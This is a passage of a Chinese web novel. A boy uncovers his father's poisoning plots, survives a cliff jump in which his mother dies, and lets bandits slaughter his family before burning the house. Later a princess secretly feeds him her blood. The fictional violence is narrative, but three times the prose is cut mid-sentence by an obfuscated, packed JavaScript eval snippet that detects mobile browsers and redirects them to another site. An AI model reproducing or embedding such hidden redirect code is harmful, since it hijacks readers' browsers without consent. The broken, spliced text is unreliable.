因为有外人在这不好下手,他沉吟了一会,决定今晚就暂时放过那个小胖子。只是他刚迈出脚步准备离开,就听见彩珠懒懒的声音响起:“好了,我们儿子睡着了,现在该讨论一下我之前跟你提过的那件事了。” 听到这句话,薛矜立刻止住了脚步,心想那个女人筹谋的肯定不是什么好事。他当即悄悄蹲下身子,耳朵贴在窗户边静听着,果然很快便听见她继续说道:“我之前跟你提过的,咱俩联手下毒毒死那对母子,你考虑得怎么样了?” 这话落入耳中,让向来遇事淡定的薛矜都忍不住倒吸一口凉气,只觉有一股刺骨的寒意从脚底板直往脑门上窜。他努力按捺住狂跳的心脏,压下心头的惊慌,继续竖起耳朵听。 之后是很长一段沉默,林白似乎拿不定主意要不要和她联手。 彩珠像是看穿了他内心的想法,毫不留情地嘲讽道:“你不会舍不得了吧?当年毒死岳父岳母怎么没见你这般犹豫?” 随着她的话语落下,薛矜怕闹出动静来打草惊蛇,拼命捂住嘴,不让自己发出声音,内心默默消化着这惊天大料。他当时年纪太小,根本记不得外公外婆的模样,但他们对自己无微不至的关照和细心的呵护,他都牢牢记在心间,不曾或忘。如今知晓了他们死亡的真相,他心里对屋中二人的恨意又再度加深。 过了半晌却不见回答,彩珠故意拖长了调子,火上浇油道:“还真让我说中了,你就是舍不得那个女人。哼,你当年是用什么手段得到她的你自己心里清楚。若没有我这个贴身丫鬟偷偷将钟情蛊下在她的茶水里,让她从此为你神魂颠倒,你能有今天吗?” 无视林白变得铁青的脸,她自顾自说了下去:“要知道这本就是你坑蒙拐骗得来的姻缘,为的就是傍上薛家这棵大树,好飞黄腾达平步青云。如今薛家的势力已经被你蚕食殆尽,你还留着那个女人做什么?” 林白看了她一眼,很快又垂下眼,嗫嚅着说道:“可是我和她同床共枕这么多年……” 彩珠听罢嗤笑一声,说道:“钟情蛊,顾名思义,便是能让人违背本心钟情于一人的蛊虫。若非中蛊,她早就和那个人有情人终成眷属了,哪里轮得到你?” 见那边明显动摇了,她再接再厉地使出杀手锏:“你瞧见她鬓间常年插着的那支凤簪没?其实那是她及笄礼上那个人亲手给她戴上的,自那以后她天天戴着,除了洗澡睡觉就没摘下来过。他二人青梅竹马郎情妾意,即使她被钟情蛊迷了心智,却依旧未曾将之摘下,难道还不能说明她对那个人始终一往情深吗?” 林白盯着她憋了口气,半天才从牙齿里挤出几个字:“你、你胡说八道!” 彩珠从鼻腔中发出一声轻哼,继续拱火:“你别不信,这次救她一命的不就是那个人?听说他们孤男寡女在药铺里呆了一夜,指不定旧情复燃,什么都做下了。” 这番话切切实实动摇了林白,他本就对薛知意的旧爱心怀芥蒂,此时被彩珠煽风点火一番, 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但现在不是伤春悲秋的时候,他极力压下心中翻涌的情绪,急冲冲的往自己的住所跑去,到达后推开屋门,找到正低头缝补衣物的薛知意,将他刚刚听到的话一五一十地告知了她。 他眼见着对方在听完自己的话后,犹如泥塑木雕一般呆在当场,当即上前一步抓住她的肩膀,那双墨玉似的眼睛直直地看着她:“阿娘,我们一起离开这里吧,就现在。”说完之后,他紧张兮兮地看着她,生怕她说出什么拒绝的话,毕竟她因为钟情蛊的缘故,根本就离不开他那便宜爹。 一段难捱的沉默过后,她朝他轻轻点了点头,随后放下手中的针线活,开始收拾必须要带走的东西,行动干脆利落,毫不拖泥带水。 薛矜完全没想到事情会发展得如此顺利,他本来还以为要花很多功夫劝说,早早就在路上打好腹稿,就等她拒绝自己。见她这般清醒,他由衷地感到高兴。很早之前他就想离家出走,这个吃人的地方他是一刻也不愿呆,只是他割舍不下薛知意,所以才迟迟未动。如今她愿意和自己一道离开,那再好不过了。 母子俩收拾好行李,一路小心翼翼地避开了巡逻的家丁,径直出了薛家大院。他们全程轻手轻脚,没有惊动任何人,可惜出门后不久,还是被刚从青楼回来的管家撞见了。他见母子俩背着包裹从后院离开,一下子吓得酒都醒了,立刻就回去禀报他主子。 两人一路拼了命地跑,生怕被他们察觉出不对,派追兵过来将自己捉回去。俗话说,好的不灵坏的灵,他们还没跑出多远,就见管家带着一群家丁追了上来,像是紧追着猎物不放的黄金猎犬。 他们早就下定决心逃离魔窟,眼见管家紧追着他们不放,也没想过跟他回去,心惊胆战地苟活着,不知哪天就被人神不知鬼不觉地下了毒,最终连死都死得不明不白。 就这样,母子俩被一路追到悬崖边,身前是万丈深渊,身后是豺狼虎豹,无论向前走还是向后走,最后都是死路一条。 贼眉鼠眼的管家领着一群五大三粗的壮丁正举着火把向他们逼近,但薛知意的脸上却没有丝毫的畏惧之意,她垂眸看着自己的儿子,眼底的神色无比的温柔:“你愿意相信我吗?” 虽然不知道她为何有此一问,但薛矜还是点点头道:“愿意。” 薛知意侧眸看着他,彼此都没有说话,但都从对方的眼神中看到了相同的意思。下一刻,母子俩不约而同地转过身,纵身一跃跳下悬崖。 事情就发生在电光火石之间,管家还没反应过来,就见那对母子毅然决然地跳下了悬崖,都不给他放狠话恐吓人的机会。他站在崖边,仰头望天,为自己即将被罚半年的俸禄哀叹不已。 58. 灭门 风声在耳边呼啸而过,薛矜任凭身体急速下坠,柔软黑发被风吹得凌乱飞舞。他对于即将到来的死亡并未感到恐惧,反倒是有种解脱感。他本来就对活着没有什么执念,死了正好,省的在这腌臜的世间蹉跎一辈子。 就在他准备闭目等死的时候,薛知意轻轻环抱住了他,像在对待一件珍宝。她在男孩看不见的地方落下了一滴眼泪,声音一如既往的温柔,但却让他全身发冷:“请一定要代替我活下去。” 还没有等她的话音落下,两人就坠落在地一动不动了。预想中的疼痛并没有到来,薛矜的身体僵住了,好似被下了咒语一般丝毫动弹不得,只是那么愣愣地趴在薛知意身上,看着她气息渐渐变弱,直到完全消失。 此时的女人已然生息全无,鲜血从她的身下汩汩流出,浸染了冰冷的土地,洇出一片血红。显而易见,她用自己的身体当肉垫护住了他,所以他才逃得一死。 薛矜看着即使满身鲜血也要对他露出微笑的女人,忽地记起了她在跳崖前对他说的话,当时他不解其意,现在突然明白过来了。原来早在那时,她就已经计划好了他们两个人的结局。 过了好半晌,他终于从薛知意身上爬起来,坐在了一旁。面对着她冰冷的尸体,他可悲地发现自己甚至连哭都哭不出来,就只能干巴巴地看着,心里空空洞洞的感觉不到半点情绪。他忽然无比清晰地意识到自己就是个没感情的怪物,这个念头从他脑海之中冒出的瞬间,深深的自我厌恶感涌上来,让他全盘否定掉自己一切。 崖底黑漆漆一片,伸手不见五指的黑暗中,他抱着膝盖看着她的尸体发呆,深夜刺骨的寒风让他身体微微颤抖着。随着时间一点一点流逝,属于世上所有人的太阳冉冉升起,而他的光,却再也亮不起来了。 直到清晨的第一缕晨曦斜斜照在脸上,薛矜才如梦初醒般回过神来。他意识到就这么枯坐也无济于事,找个地方把薛知意好好安葬了才是眼下的首要任务。 拿定主意之后,他瞬间一扫先前的颓废姿态,取出随身携带的匕首,砍下藤蔓和树枝做成一副简易的担架,然后小心翼翼地将薛知意抬到担架上,使出吃奶的力气拖着担架前行。 走着走着,薛矜发现不远处有一片桃花林,想着这种花就是薛知意最喜欢的花,心中不禁大喜,觉得将她安葬在此处再好不过了。思及此处,他不再犹豫,拖着担架向林中走去。 刚刚踏入林中,他便相中了一棵枝繁叶茂的的桃树。这颗树长势极好,满树的桃花绽满了枝头,随风飘送阵阵清香,想来阿娘泉下有知,也会喜欢这处长眠之所。 他当即将担架放到一边,拿出匕首在桃花树下刨起了土,忙活了不过半个时辰便累出一身汗,形容狼狈。尽管他累得手指头都快抽筋了,身上的汗也早已湿透了衣衫,但是他仍然没有放弃,还在忘乎所以地埋头苦干。 皇天不负有心人,很快一个像模像样的坑就挖好了。薛矜轻手轻脚地将薛知意推入其中,之后仔细端详着她的眼耳口鼻,那视线似乎是想要将她的模样牢牢记在心里。 忽然瞥见斜插在女人鬓间的那支凤簪,他开始思考起将簪子从发上拔下的必要性——他说到底只是个七岁稚童,没什么谋生手段,再加上出来的匆忙没带够银两,今后又该怎么解决吃穿用度? 他左思右想,还是觉得很有必要拿簪子典当换钱方便生活,大不了有钱了再赎回来。他一边想着一边伸出了手,却在触碰到那根簪子的瞬间,想起这是阿娘原本的心上人送给她的及笄礼,她至死都没有把它摘下来,足以见得对它的珍视。 内心天人交战一番之后,他最后还是收回了手。那根簪子既是她的心爱之物,就陪着她一起长眠在地下吧。 薛矜最后深深看了她一眼,然后用细土慢慢掩盖住她的身体,直到将土坑填平。做完这一切后,他在坟前跪下,咚咚咚磕了三个响头:“孩儿今后会为您报仇的,他们欠我们的,我会让他们如数奉还,还请您安息吧。” 他说完便站起身来,头也不回地往林外走去,一边走一边想道,也许有朝一日他会在此处建起一座木屋,每年住上几个月陪她,如此一来,她就不是孤零零的一个人了。 自他走后,林中忽然刮来一阵风,吹得桃花纷纷扬扬地飘落下来,堆积在薛知意的坟上,掩盖住一切痕迹,就如同她来时一样。 * 之后薛矜又走了一天一夜,走到崖底附近的一棵大树前。不知不觉夜晚已经来临,可他还没有找到栖身之所,无奈之下,只好改变策略,手脚并用地爬上身前那棵大树,准备在此将就一夜。因为这个晚上经历了太多,他早已疲惫不堪,很快就在树枝上睡着了。 次日清晨,细碎的阳光透过树叶间的缝隙洒落在薛矜的脸上,细细晕开,如梦似幻。他缓缓睁开双眼,第一件事便是看向身旁的位置,可那连半个人影都没有。他怔愣一瞬,回过神来后面上难掩失望,旋即又自嘲一笑,那个女人都死了,哪里还见得到她。 正当男孩陷入莫名的情绪时,树下忽然传来一阵脚步声,将他的思绪拉了回来。他循着声音望去,发现一高一矮两名男子正在快步走来,两人皆是一脸凶相,像极了街头巷尾随处可见的地痞流氓。 他皱眉看着树下那两人,见他们长相丑陋行为粗鄙,便打消了想要从树上爬下来的想法,坐在树枝上静静等着他们离开。 两人很快便交谈起来,只听个子矮的那个人说道:“听说薛家是烟墨镇上的首富,家财万贯,富得流油,咱哥俩何时动手宰了这只肥羊?” 另一个高个子回道:“别急,三天后我们再动手也不迟。到那时,等天黑那些人都熟睡了我们就偷偷潜进去,神不知鬼不觉把人全家杀了,上上下下洗劫一空,然后干完这一票就金盆洗手,找个地方逍遥快活。” 刚才他们说的那番话,已经一字不落地落入薛矜耳中。他越听越觉得心惊,没想到自己只是在树上睡了一觉,结果又发现了个惊天大料——两个江洋大盗打算在三天后的夜里偷偷潜入薛家,将薛家上上下下洗劫一空。 他们又交谈了几句便离开了,薛矜透过繁密的枝叶向下望去,将这两名江洋大盗的身形样貌牢牢记在了心中,然后看着他们逐渐远离自己的视野,直到再也看不见才收回了视线。 他沉默地坐在树枝上,现在摆在他面前的有两个选择:一个是将刚才听到的消息通风报信给自己名义上的家人,让他们早做提防;一个是什么都不做什么都不管,任凭那两个江洋大盗将薛家上下杀得一个活口不留。 任何一个具有同理心的正常人想必都会选择前者,但薛矜没有同理心也不是正常人,从来没想过要以德报怨,所以他想都没想就选了后者。这可是千载难逢的好机会,不费吹灰之力就能看到仇家全下地狱,他是脑子坏掉了才会去通风报信。 想到即将到来的血腥场面,薛矜稚气未脱的俊脸上露出了今天的第一个笑容。也许他不应该什么都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313767|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做,就这样放任他的家人们死去。他会在那两人杀光所有人之后,帮他们加上一把火。 小小稚童如此这般想着,浑然不知这一想法多么的令人毛骨悚然。 * 三天后的夜里,薛矜偷偷跑到薛家宅邸外头,躲在屋外一棵大树上观察着周围的动静。他一边留意四周的动静一边在心中感慨道,时隔三天,他居然又回到了这里,只为亲眼见证它的覆灭。 那两名江洋大盗没有让他等太久,果然按照他们约定的时间准时到达。他看着他们施展轻功越过院墙,之后又归于寂静,耳边能听到的只有风吹树叶发出的窸窣声。 薛矜坐在树枝上晃动双腿,静静等待即将到来的狂风暴雨。像是为了印证他所想的,那座华贵的宅邸内很快便传来动静,一时间,哀嚎声哭喊声尖叫声求饶声伴随着重物落地的声音乱作一团。像是看到了预想中的场面,他的唇角向上翘起,显示出主人的好心情。 即使看不到,他也能大致想象出那血腥场面——昏暗夜色下,鲜血染红了整片土地,尸体横七竖八躺得满地都是。对他来说,死的那些人都是可有可无的路人甲,他唯一在意的人早就死了,所以就算里面一个活人都不剩,他也不会有任何情绪波动。 不知过了多久,哭喊声渐渐消失,取而代之的是一片死一般的寂静。显而易见,府中已经没有一个活口了。薛矜对此非但不感到抱歉,反而还半倚着枝干露出一个略带轻嘲的笑容。 没等多久那两名强盗就收获颇丰地走了出来,脸上带着满载而归的笑容,就连步伐都变得愉悦。他们的肩上扛着两只极大的布袋,可想而知里面必定是些值钱的玩意儿,足够他们下半辈子花的了。 直到再也看不见那两个人的身影,薛矜才慢悠悠地从那棵树上下来,施施然走进刚刚经历了一场浩劫的宅邸。正如他所想的那样,府中此时已是一片修罗景象,丫环小厮的尸体横七竖八躺了一地,鲜红的血溅得满地都是,连下脚的地方都没有了。 他像是见过了无数次这样的场面一样,于尸山血海中闲庭漫步,脸上没有任何不适的表情。刺鼻的血腥气扑面而来,萦绕在他的鼻端,尽管这味道并不好闻,但他却并没有要离开的意思,而是熟门熟路地朝目的地走去。 屋门早在他来之前便被破开,于是薛矜毫无阻碍地走了进去。屋里值钱的物件已经被洗劫一空,在这桌椅倒地茶盏碎裂的一片狼藉中,最吸引他注意力的还是那张雕花木床上并排躺着的两具尸体。 薛矜背着手站在床边,几乎是以欣赏的目光看着那对狗男女的死状,那血腥残忍的场面仿佛还在眼前,令他感到身心愉悦,油然生出一股大仇得报的快意。 片刻之后,他仿佛对此失去了兴趣,毫无留恋地挪开视线。不经意瞥见桌上的蜡烛,他心念一动,点燃了一只蜡烛拿在手里,再次走到床边,将手中的蜡烛丢在盖着尸体的锦被上,随即若无其事地走出这间屋子。 在他身后,火势渐起,并以迅雷不及掩耳之势向四面八方扩散而去。周遭的房屋逐渐被贪婪的火舌吞噬殆尽,一时之间黑烟滚滚,红光灼灼,再配上四处可见的残肢断臂,简直是地狱般的景象。 可以预想到的是,今夜过后,那座气派华丽的宅邸就会变成一堆废墟。只是这一切薛矜都看不到了,他头也不回地向前走去,对身后发生的一切漠不关心。 这场大火会烧掉那段不堪回首的过往,而他将像凤凰涅槃般重获新生。 59. 勇斗 薛矜一讲完那个很长很长的故事,便将视线投向了陆怀袖,不知她会做出何种反应。他本以为对方会露出鄙夷的神色,毕竟是对他这么个没有感情的怪物。但出乎意料的是,陆怀袖脸上有惋惜,心疼或许还有些……愤怒,但就是没有他想象中的鄙夷之色。 他为此感到惊愕不已,未等回过神来,就听她托着腮帮子幽幽叹息道:“难怪你说自己不会喜欢上任何人。” 薛矜闻言顿了顿,略带歉意地看了陆怀袖一眼,斟酌着措辞说道:“正如我所说的,我是在钟情蛊的作用下才得以降生于世,并非因爱而生,因此我感受不到爱,也没有能力去爱。”说到这里,他顿了顿,复又开口道:“所以你别在我身上浪费时间了,我们之间是不可能的。” 陆怀袖对此并未做出回答,她垂眸看着脚尖,只觉得心中闷闷的,就好像被一块大石头给堵住了,憋得她喘不过气来。两人之间的气氛一时之间陷入凝滞,谁也没有主动说话,似乎都不知道该怎么开口。 率先开口打破沉默的是陆怀袖,她忽然抬眸望向他,没头没脑地来了一句:“你告诉我这件事,就是想劝我及时止损么。”明明是疑问句,她却说出了肯定的语气。 薛矜微不可察地叹了口气,对上她的视线,语重心长道:“对于一个没有心的人,你再怎么付出,最终都不过是竹篮打水一场空罢了。”虽然他不懂感情,但他却知道连回音都没有的山谷,不值得纵身一跃。 陆怀袖听罢,下意识便想反驳,只是还没等发出音调来,便见少年竖起一根食指贴在唇上,示意她噤声。她很快意识到什么,只能将那些话尽数咽回肚子里,随即屏息静气,尽量不发出一点声音。 她任由对方将她拉到一个隐蔽的角落里,不多时山洞外传来阵阵交谈声,其中一个人她居然认识,正是斩风帮帮主厉清狂。他正和一位青年男子一边走一边交谈,她从他们的对话中推测出那人应该也是一派之主,他们来此只为搜寻她踪迹。 忽然脚步声似乎在洞口停下了,只听那名青年轻咦一声道:“厉帮主你瞧,这里居然有一处洞穴,还挺隐秘的,你说那魔头会不会躲在这?” 闻听此言,薛陆二人对视一眼,皆从对方眼中看到了紧张,陆怀袖的心脏更是提到了嗓子眼,仿佛下一刻就要跳出来了。一时间,恐慌的情绪在山洞里蔓延开来。 就在青年的手即将拨开洞口垂下的藤蔓时,厉清狂低头看着身边的人,有些突兀地开口道:“宋阁主还是别在这浪费时间了,据我的一个手下说,他看见那魔头挟持公主往东边走了。我们现在应该立刻赶到那边,再这样浪费时间,公主恐怕会有性命之忧。” 随着他的话音落下,那位宋阁主似乎陷入了沉思之中,过得片刻,只听他爽利地说道:“那便按厉帮主所说的,我们现在就去吧。”他说完就干脆利落地转身走了,不带一点犹豫。 耳中听得脚步声越走越远,薛陆二人总算是松了一口气,原本提着的心也放了下来。陆怀袖本就十分感激厉清狂对她连日来的悉心照料,这次又多亏他及时出手搭救,此刻才幸免于难,虽然知道他并非有意的,但她对这位帮主的好感还是大大加深。不过一想到自己坏了他的大事,她就不由得在心中默默说了好几声抱歉。 将她脸上的风云变幻尽收眼底,少年冷不丁地开口说道:“他们走了,殿下还要留下来么?” 他并未直接挑明,但陆怀袖几乎是立刻就领悟到他的言外之意。她垂下鸦羽般的眼睫,遮住眼底汹涌的情愫,再抬眸时,直直看向他的眼睛,一字一句地说道:“我之前跟你说过的啊,在你伤好之前,我是不会离开你的。” 少女眼神坚定,语气铿锵,一副铁了心的样子,薛矜知道此事已无转圜的余地,只好妥协似的说道:“随便你吧。” * 因为身负重伤的缘故,薛矜每到晚上便会陷入昏迷,一连几日都是这样,没有例外。而陆怀袖每次都会在他昏迷之后放血给他喝,得益于此,少年的气色一天比一天好,伤势也明显轻了许多。 夜幕降临时,少年照常昏迷过去,而陆怀袖在又一次放完血后,在自己裙摆上撕下一块布料,熟练地给自己包扎好伤口。 但她没想到的是,因为她这一举动,空气中弥漫着香甜的血腥味,而这血腥味却引来了个不速之客。她一脸惊骇地看着面前那头银白色的狼,对方那双绿眼睛里闪烁着贪婪的凶光,如同鬼火似的紧紧跟着她。 下一刻,那头狼朝她咧了咧嘴角,露出尖利的獠牙,牙齿上甚至还挂着一丝涎水。陆怀袖很清楚接下来会发生什么,她伸手从怀中摸出那把薛矜送给她的匕首,挺身挡在银狼和少年中间,虚张声势地说道:“你你你不要过来,你要是敢伤害他,我我我就……”她说着便拔刀出鞘,又硬撑着装出一幅气势汹汹的模样,朝它故意挥了挥刀子,但发颤的身体还是泄露了她的情绪。 那头狼似乎看穿了她的虚张声势,丝毫没将她这番威胁放在眼里,仍旧不紧不慢地向她逼近,目的十分明确。 陆怀袖心中暗叫不好,看来这架是非打不可了。只是对手体型庞大,爪牙锋利,怎么看都不是她这个手无缚鸡之力的弱女子对付得了的。但即使现在的处境对自己非常不利,她也没有想过要退缩,只因身后有她想要保护的人。 她思及此处,情不自禁地回望了一眼身后闭着眼睛靠在洞壁上的少年,只这一眼,便给了她莫大的勇气。等到她收回视线,再次看向那头狼时,目光中已经满是坚定。 一人一狼就这么死死盯着对方,无声对峙着,气氛一时之间剑拔弩张起来。陆怀袖无声地咽了咽口水,下一刻那头狼就纵身一跃朝她扑了过来,她早有预料地侧身躲过,但还是很不幸地被对方的利爪抓出一道伤痕来。 她吃痛地“咝”了一声,随后一道火辣辣的疼痛在她的手臂上蔓延开来。她此时已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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次日清晨,薛矜悠悠醒转,待看清眼前的景物后却大吃一惊,只因在他不远处竟然躺着一具狼尸,它的腹部已经被捅得血肉模糊,浸没土地的鲜血都还没有干涸。 他用脚趾头想也知道是怎么回事,此时此刻倒真有些佩服陆怀袖了。这样一个柔柔弱弱的小姑娘,居然能杀死一头狼。 就在这时,陆怀袖拨开洞口的藤蔓,从洞外走了进来。见他醒了,她扬起嘴角,雀跃着向他走来,然后递给他一个刚刚清洗干净的果子,柔声细语地说道:“你尝尝这个,一点也不酸,是甜的。” 薛矜在少女拿着果子举到他面前时往她手上看了一眼,果不其然看到了她手上的伤痕,一瞬间,那双好看的眉头微微皱了皱。 陆怀袖见他迟迟不接,以为他是嫌弃果子太难吃,刚想开口解释说附近什么都没有,还请他将就一下,却听他冷不防问道:“你对我这么好,就不会觉得吃亏?” 她显然没有想到对方会问这样的问题,微微一怔,旋即答道:“会不会觉得吃亏,我有我自己的判断。” 这个回答成功堵住了薛矜的嘴,他摇摇头,不再试图劝说,而是伸手接过少女递来的果子,在她期待的眼神中咬了一口,啧,好酸呐。但他鬼使神差地没有丢掉,反而装作很甜的样子一口一口吃完了。 难言的酸味自口腔蔓延,那滋味着实不太好受,他仿佛听到自己心里有个声音在说:不对劲,自己真的不对劲。 60. 心声 时间过得飞快,不知不觉两人已经在洞中呆了好几日,薛矜这些天在陆怀袖的悉心照料下,身上的疼痛已经消散了大半,整个人轻盈了许多,一切都在往好的方向发展。 在第七天的晚上,他并未照常陷入昏迷,但他却还是装作昏迷的样子——他不知该如何面对那位姑娘,索性就减少和她的接触。 自从她向自己挑明了心事后,他就再也不能欺骗自己他们只是朋友了。因此这几日,两人除了必要的交谈之外,并没有太多的交流,也许彼此都心知肚明这一点,只是不想说破而已。 怀揣着这样的心思,薛矜一如既往地紧闭双眸,即使他此刻神智清醒,身体也无大碍。 夜里的山洞十分安静,只有篝火燃烧发出的噼啪声。就在薛矜以为会一直安静下去的时候,忽然听到一阵脚步声由远而近,尽管对方尽量放轻了自己的脚步,但以他的耳力,还是听得清清楚楚。那人停在他面前半步远的地方,随后抱着膝盖坐在地上。 薛矜想破了脑袋也想不明白她此举的目的,决定先静观其变,看看她到底是想干什么。之后洞中一片寂静,如果不是他能清晰地感受到对方的目光就没有从他的身上离开过,薛矜几乎都要以为刚才的脚步声是自己的幻觉。 而就在他纳闷之际,少女神色莫名地盯了他一阵,忽然幽幽地叹了口气,接着又抛下一句没头没脑的话:“我之前甚至有些庆幸你受伤了,现在才知道自己错得多离谱。” 她这番话着实让人摸不着头脑,正当薛矜内心惊愕不已时,又听她接着说:“我原本以为你受伤了,我就有机会照顾你了。你也能依赖我,就像我之前依赖你一样。可当我看到你那副咬紧牙关强忍疼痛的模样,又觉得心疼极了,宁愿不要这样的机会。” 薛矜这下总算听懂了,对于她那九曲十八弯的少女情怀,他心中又是柔软,又是好笑,用了平生最大的毅力才克制住自己没有笑出声来。 他正强行敛住笑意,却听她续道:“我原本不想向你表明我的心意,万一被拒绝了岂不是连朋友都做不成?没想到最后还是捅破了窗户纸,虽然结果在我的意料之中,但我还是感到很难过。” 她的声音里透着显而易见的沮丧意味,作为造成这一切的罪魁祸首,薛矜抿了抿唇,心里也难得生出几分愧疚。他很想安慰她几句,但最终还是没有说出口。 按捺住心头翻涌的情绪,他静静地听着她继续道:“不过我现在想清楚了,就算被你拒绝了也没什么,你不会喜欢我,也不会喜欢别的女人。我知道自己这个想法很阴暗,可就是控制不住这么想。” 此话一出,薛矜顿时怔住了,过了好一会儿才意识到她说的什么,心情一时有些微妙。他万万没想到对方知道了那个秘密后,心中的真实想法居然是这样,姑娘家的心思果真难以捉摸。 少女像是想到了什么似的,声音顿了顿,复又开口:“你之前和我说怕我吃亏,但我自己并不觉得吃亏。我从来没这么喜欢一个人过,从来没有,所以我愿意为你付出。”意识到这话也太露骨了些,她后知后觉地害羞起来,嗫嚅着说道:“要是你醒着,我是绝对不敢对你说这些肉麻话的。” 可她不知道的是,这番话已经一字不落地落入薛矜耳中。他垂在身侧的手指微微蜷缩着,一股陌生的情绪涌上心头,让他喉咙干涩发紧,而牵动他情绪的那个人,并不知她这番话带给他多大的震撼。 少女忽地想起一事来,情绪再度陷入低落:“其实你不说我也知道,我们之间是不可能的。且不说落花有意流水无情,我因为身负使命,最终也不得不离你而去。” 她说到这里,鼻子便开始发酸,眼圈也开始泛红:“我之前跟你说要你护送我前往白河城探亲其实是骗你的,我本是朝廷派去北离国和亲的公主,只因路上遇到歹人袭击跌落山崖,这才得以和你相遇。等你伤好了,我也该继续前行了。即使再怎么想逃避现实,我也不得不去面对,这是我身为一国公主应尽的责任。” 薛矜默不作声地听完她的话,此刻的心情似乎也受她的情绪感染,变得低落起来。他早就知道她是和亲公主,原本的打算也只是将她送到那里领完钱就走人,从今以后和她再无交集。可当他听完这番话之后,心里却忽然很不是滋味,是因何缘故这般,让他说,他又说不上来。 接下来是很长的一段沉默,向来恣意洒脱,万事不放在心上的少年一时竟有些患得患失起来,但更让他心绪难宁的,还是少女接下来的举动。她突然凑过来,凑得很近很近,似乎是想要亲他的唇,但最后却只是亲了亲他的唇角。这个吻很轻很柔,像是对待珍宝一样小心翼翼。 少女只是蜻蜓点水般亲了一下,甚至亲的还不是嘴唇,但被她亲了的薛矜却久久不能回过神来。可下一刻,他就没有多余的心思放在这个吻上了,只因他感觉到有液体滴在他的唇上,紧接着一股无比熟悉的气味飘来,他很快意识到这东西是什么,心中掀起惊涛骇浪。 他之前陷入昏迷时,模模糊糊意识到自己喝了什么,次日好奇地向少女询问,她却语焉不详地说是水,未曾想喂给他的其实是血。鲜红的血液从舌尖蔓延开来,明明是甜的,尝起来却有苦涩的味道。 少女照常在放完血后替自己包扎好,随后又盯着他看了许久,神情渐渐的有些恍惚了。半晌过后,她轻声说道:“我的血可是疗伤灵药,你喝了之后很快就会好起来的。希望在我离开之前,能看到一个完好无损的你。” 薛矜听罢,微不可察地皱了下眉,如果他此刻是睁着眼的,少女就能看到他眼底隐忍的怒色。 * 次日清晨,陆怀袖醒来时,发现自己躺在一堆干草上,想要动动身体,却发现自己无法动弹,而黑发白肤的绯衣少年就坐在她的身侧,好整以暇地托着腮帮盯着她看,那张脸依旧是好看得挑不出任何毛病,只是那满面春风的样子在她眼里是怎么看怎么欠揍。 薛矜见她醒来,直接无视掉她谴责的目光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341436|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装出一副非常惊讶的模样,明知故问道:“殿下,您被点穴了吗?怎么一动不动啊?” 闻听此言,陆怀袖登时柳眉倒竖,硬生生从牙缝中挤出几个字来:“还不快给我解穴。” 她胸膛剧烈起伏,显然气得不轻,薛矜却并未依言照做,反而一把抓住了她的手腕,自腕间褪下那只银镯子,果不其然在上面看到了几道尚未愈合的伤疤,莹白如玉的肌肤映衬着暗红的伤痕,红与白的对比格外触目惊心。 薛矜盯着她的伤口皱了皱眉,很快将视线挪开,面露不悦地开口道:“我送你那把匕首,不是要你自残的。” 他的话音刚一落下,陆怀袖便不可置信地瞪大了双眼,过得半晌,她才艰难地开口道:“你、你都知道了?” 薛矜闻言轻哼一声道:“殿下到底还要隐瞒到几时,您难不成是想把血放干了喂给我?不过很可惜,我不会给您这个机会了。”见少女的神色显而易见地慌张起来,他紧接着就补了一句:“待会我会为您引来那几位掌门,您就等着他们带你回去吧。” 说完,他拢了一下衣袖站起身,居高临下地俯视着她,淡笑着说道:“还要多谢殿下这几日的照料,日后若有机会,在下必将报答一二。只是眼下我有要务在身,不得不和您分开了。” 见对方又要再一次抛下她,陆怀袖当即扯开喉咙大喊出声:“你这个混蛋!给我回来!”但无论她如何叫喊,都挡不住少年前行的脚步,只能眼睁睁看着他离开。 待薛矜走到洞口处,突然生生顿住了身形,双拳悄然紧握。他暗暗发誓,这一次他不会再让那种事情发生了。但也只是停顿了片刻,他便毫不犹豫地走出了洞穴,只留下陆怀袖一人躺地上干瞪着眼生闷气。 她知道事情已然无法挽回,只能不停地在心中骂那个家伙出气,在骂到第一千句“薛矜是个大笨蛋”时,忽然听得洞外居然有脚步声。她还以为是那个家伙回心转意了,立马喜上眉梢,可在看清来人时,她的脸色又一瞬间耷拉下去了。 四位正派掌门人鱼贯而入,一见躺在地上动弹不得的小公主,立马意识到什么,厉清狂当即上前一步替她解开了穴道,一脸歉意地说道:“没想到殿下就在这里,是在下疏忽了,这才没能及时救出您。” 陆怀袖当然知道他为什么一脸歉疚,她活动活动身子后,在心中暗道:“不,我还得多谢你的疏忽呢。”但她嘴上却说:“帮主不必歉疚,我没这么娇气。再说了,若不是我贸贸然闯进来,你们也不会让那魔头跑了。” 四位掌门又嘘寒问暖了一番,得知她并未受伤后,这才放下心来,随后领着她走出洞穴,将她送入一辆舒适华丽的马车。厉清狂也确实像之前承诺的那样,派出数名精英弟子护送她前行。 车轮转动,马车启程。陆怀袖朝四人摆手再见,之后马车一路向着北离方向行驶,正如当日在宫门外一般。但现在她的心中不再有空缺,满满地装着一个让她又爱又恨的人,再也容不下其他人了。 61. 刺杀 